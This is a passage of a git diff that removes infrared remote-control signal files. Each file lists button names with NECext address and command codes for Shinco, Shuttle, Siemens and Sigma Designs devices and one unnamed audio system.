-# -name: KEY_CD -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 0B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 0C 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 0D 00 00 00 -# -name: EQ_TAPE -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 0E 00 00 00 -# -name: EQ_PRESET -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 0F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 11 00 00 00 -# -name: HEAVY -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 12 00 00 00 -# -name: SOFT -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 13 00 00 00 -# -name: CD_SKIP+ -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 14 00 00 00 -# -name: CD_SKIP- -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 15 00 00 00 -# -name: VOCAL -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 16 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 17 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 18 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 19 00 00 00 -# -name: CASS_REW -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 1A 00 00 00 -# -name: CASS_FF -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 1B 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 1C 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 1D 00 00 00 -# -name: CASS_PLAYLEFT -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 1E 00 00 00 -# -name: CASS_PLAYRIGHT -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 40 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 41 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 42 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 43 00 00 00 -# -name: CAR_ST -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 44 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 45 00 00 00 -# -name: CD_PAUSE -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 46 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 47 00 00 00 -# -name: CASS_RECORD -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 48 00 00 00 -# -name: RANDOM_PLAY -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 49 00 00 00 -# -name: REPEAT_1_ALL -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 4A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 4B 00 00 00 -# -name: CASS_DECK_B -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 4C 00 00 00 -# -name: CASS_STOP -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 4D 00 00 00 -# -name: CASS_PAUSE -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 4E 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 52 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir deleted file mode 100644 index aa273df01..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 00 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 01 00 00 00 -# -name: Resume -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 02 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 04 00 00 00 -# -name: TimeSearch -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 05 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 06 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 07 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0A 00 00 00 -# -name: Digest -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 12 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 14 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 15 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 17 00 00 00 -# -name: AudioMode -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 18 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 19 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 1A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 1B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 1D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 1E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 1F 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 40 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 4D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 4E 00 00 00 -# -name: O)) -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 53 00 00 00 -# -name: Camcorder -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 54 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 55 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 56 00 00 00 -# -name: ||> -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 57 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 5B 00 00 00 -# -name: UpArrow -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 5C 00 00 00 -# -name: DownArrow -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 5D 00 00 00 -# -name: LeftArrow -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 5E 00 00 00 -# -name: RightArrow -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir deleted file mode 100644 index b5e2d4c66..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir +++ /dev/null @@ -1,308 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 09 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: More -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 16 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1C 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 25 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 46 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 47 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 48 00 00 00 -# -name: KEY_IMAGES -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 49 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 4A 00 00 00 -# -name: Print -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 4E 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 50 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir deleted file mode 100644 index e4ba602c3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 01 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 04 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 05 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 0A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 0C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 0D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 0E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 14 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 17 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 18 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 19 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 1B 00 00 00 -# -name: TUNING_DOWN+REW+SKIP_LAST -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 40 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 41 00 00 00 -# -name: TUNING_UP+FDW+SKIP_NEXT -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 44 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 45 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 86 54 00 00 -command: 57 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir deleted file mode 100644 index dca49a4dc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: RANDOM -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 00 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 01 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 03 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 08 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 09 00 00 00 -# -name: SEARCH_BACK -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 0A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 0D 00 00 00 -# -name: SKIP_BACK -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 0E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 0F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 12 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 14 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 15 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 17 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 18 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 19 00 00 00 -# -name: SKIP_FORW -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 1A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 1B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 1D 00 00 00 -# -name: SEARCH_FORW -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 1E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 1F 00 00 00 -# -name: FM_MODE -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 40 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 41 00 00 00 -# -name: STOP2 -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 42 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 45 00 00 00 -# -name: FAST_FORW -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 46 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 48 00 00 00 -# -name: FAST_BACK -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 4A 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 4C 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 4D 00 00 00 -# -name: FORW -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 4E 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 50 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 51 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 52 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 54 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 56 00 00 00 -# -name: TUNING_UP -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 58 00 00 00 -# -name: TUNING_DOWN -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 59 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 83 59 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir deleted file mode 100644 index ce571dda7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 01 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 10 00 00 00 -# -name: wait -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 11 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 12 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 15 00 00 00 -# -name: right/slow -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1C 00 00 00 -# -name: KEY_0/av -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1D 00 00 00 -# -name: sc -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1E 00 00 00 -# -name: left/right -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1F 00 00 00 -# -name: KEY_M -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 43 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 44 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 47 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 48 00 00 00 -# -name: cl -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4C 00 00 00 -# -name: vps -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4F 00 00 00 -# -name: sp/lp -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 94 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 95 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 96 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 97 00 00 00 -# -name: vpt -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 9A 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 9B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 31 00 00 00 -command: CA 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 31 00 00 00 -command: DC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir deleted file mode 100644 index 5aec576a1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 00 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 01 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 02 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 03 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 04 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 05 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 06 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 07 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 08 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 09 00 00 00 -# -name: LANGUAGE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0A 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0B 00 00 00 -# -name: SUB-TITLE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0C 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0E 00 00 00 -# -name: FRAME_> -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0F 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 10 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 11 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 12 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 13 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 14 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 15 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 16 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 17 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 18 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 19 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1A 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1B 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1E 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 40 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 44 00 00 00 -# -name: VGA/TV -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 48 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 4C 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 54 00 00 00 -# -name: L-R -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 58 00 00 00 diff --git 